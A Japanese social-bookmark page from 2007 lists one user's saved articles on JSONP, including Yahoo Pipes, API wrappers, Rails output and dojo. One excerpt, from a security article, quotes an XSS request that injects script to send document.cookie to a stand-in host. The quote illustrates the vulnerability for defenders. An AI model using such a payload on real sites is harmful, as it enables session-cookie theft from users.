[B! jsonp] irohirokiのブックマーク

irohiroki id:irohiroki

jsonpに関するirohirokiのブックマーク (6)

PipesのJSONP - snippets from shinichitomita’s journal
http://www.popxpop.com/archives/2007/02/yahoo_pipesbadger.html http://kentbrewster.com/badger/ なんだ、JSONだけじゃなくってJSONPもいけるんじゃん。いいぞいいぞ。 Yahoo Pipes http://pipes.yahoo.com/pipes/zIQi0Iy72xGJ3NMhJhOy0Q/run?_render=json&s=http://d.hatena.ne.jp/shinichitomita/rss&_callback=handleFeeds→テストつまり、RSS2JSONPサービスとしても使えるってことだ。いままでにもそういうサービスはあったけど、ほとんど個人が好意でやってるものだった。非個人がサービスしているということ、しかもYahooという企業の信用レベルを考えればこれはす
irohiroki 2007/05/02
jsonp

pipes
リンク
HotPepper APIを勝手JSONP化 - snippets from shinichitomita’s journal
まあ特にどうという話ではないです。またJSONPにしているだけです。以前は避けていたコールバック関数名の文字制限も組み込んでます。Yahooと同じく [A-Za-z0-9_\.\[\]]+ で。 XMLからJSONへの変換はXSLTです。なので、サーバがningという都合上PHPでやってますが、汎用性はあるはずです。これでサンプルコードが作りやすくなりました。早く正式にサポートしてくれるとうれしいなあ。 HotPepper グルメサーチAPI http://recruit2json.ning.com/hotpepper/GourmetSearch?key=guest&Latitude=35.660818&Longitude=139.775426&Range=3&callback=handleResult →テスト店名サーチAPI http://recruit2json.ning.co
irohiroki 2007/05/02
jsonp

webservice

sample
リンク
SitePoint Blogs » JSON-P output with Rails
At the recent Web Directions 06 conference Cameron Adams and Sitepoint’s own Kevin Yank gave a talk on Mashups and APIs, with a mention of JSON-P. JSON-P is a method of wrapping the JSON output of your API calls to allow other developers to call your API from within their page, bypassing the browser security mechanism. If you peek at the HTML source of Web Connections you’ll notice we’re using JSO
irohiroki 2007/05/02
jsonp

rails
リンク
Kazuho@Cybozu Labs: JSONP - データ提供者側のセキュリティについて
« E4X-XSS 脆弱性について | メイン | 「スーパー技術者争奪戦」 » 2007年01月12日 JSONP - データ提供者側のセキュリティについて JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。 GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0 Host: example.com HTTP/1.0 200 OK Content-Type: text/javascript;
irohiroki 2007/05/02
security

jsonp
リンク
[鏡] 入門 JSON 3 -- JSONP とコールバック関数 -- 戯れ言
最近 JSONP というのが話題になっているようですので，ここで簡単に紹介します。 JSONP （JSON with Padding）というのは JSON のデータフォーマットにちょっとした記述を加えて JavaScript の関数として呼び出せるようにしたものです。 JSONP については以下の記事に簡単な説明があります。（多分この記事が初出だろうという話です） Remote JSON - JSONP 例えば以下のような JSON データがあるとします。 { "name" : "Yasuhiro ARAKAWA" } JSONP ではこのデータに記述を加えて JavaScript 関数のようにしたものです。分かりにくいですね。具体的にはこのように記述します。 callback( { "name" : "Yasuhiro ARAKAWA" } ); "callback" の部分は関数
irohiroki 2007/05/02
jsonp

javascript

programming
リンク
dojo toolkitのScriptSrcIO - snippets from shinichitomita’s journal
dojoの0.3.0に、動的スクリプトロードを使ったクロスドメインのJSON読み込み(ScriptSrcIO)が組み込まれているらしい、というのを聞いたので、ちょっと試してみる。これはnightlyのテストページだけど、実際に0.3.0のパッケージにはScriptSrcIOはもう入っている。 http://archive.dojotoolkit.org/nightly/tests/io/test_ScriptSrcIO.html とりあえずテストページのサンプルを見て、作ってみる。接続先はまあAPIキーのいらないdel.icio.usで試そう。 <html> <head> <script type="text/javascript" src="./js/dojo.js"></script> <script type="text/javascript"> dojo.require("do
irohiroki 2007/05/02
ajax

jsonp
リンク
1